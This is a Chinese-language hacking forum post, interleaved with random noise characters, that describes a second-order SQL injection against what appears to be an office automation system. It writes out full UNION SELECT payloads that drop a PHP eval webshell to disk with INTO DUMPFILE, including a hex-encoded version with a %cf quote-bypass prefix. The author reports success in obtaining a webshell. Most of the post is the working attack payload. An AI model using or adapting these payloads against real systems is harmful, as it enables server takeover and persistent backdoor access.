* C3 D; g% u: g* A7 e这个时候看了下代码,存在注入的那个变量的语句中第3个字段,在该文件下面被另外个select语句调用了,灵光一闪,大概思路是这样的$ h9 L+ t* [$ C) `( Y a7 A
; J1 ?& Q' {% x4 M7 f例如:SELECT * from USER where USER_ID='{$USERNAME}' 6 J5 I' u8 [, C+ I( y- L9 B
其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了' F( x# c u7 M+ X! V
, |# w" h5 o. A3 q: W
这个时候我们是不是可以组合起来使用哪? 8 [) J1 V# T+ u% a 3 O, }3 {7 Z- ^% C& o
第一条语句开始注入,union select 1,2,3,4,5,6,7,8,9,10...,比如第3个是PROVIDER字段,我们这样 $ G/ E0 [/ Z; u7 F: B7 Runion select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10: @ k( W2 C* d. d! T1 K1 n. T% t
: \ B# ~+ a: h) _* }这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了( o8 T) q1 j. R3 T) S$ b
! x( u. C {! [) D N. U那么问题来了,单引号可以吗?当然是不可以的,^_^。。。" O3 o" T1 r1 n$ l! D+ e' e% v
& e/ f- R" C- T X; a那么我们用字符串格式带入进行hex编码- U, k) J* j9 O* b1 R, B; A
2 r1 |) y/ ~, K" o8 {%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%233 b" A9 m& B+ B6 M. ]% B
1 r& N, R9 e" r z4 R1 O
测试ok,获取oa的webshell0 S+ m V i0 \* _& O X
# ^( U. e7 k7 Y$ \ J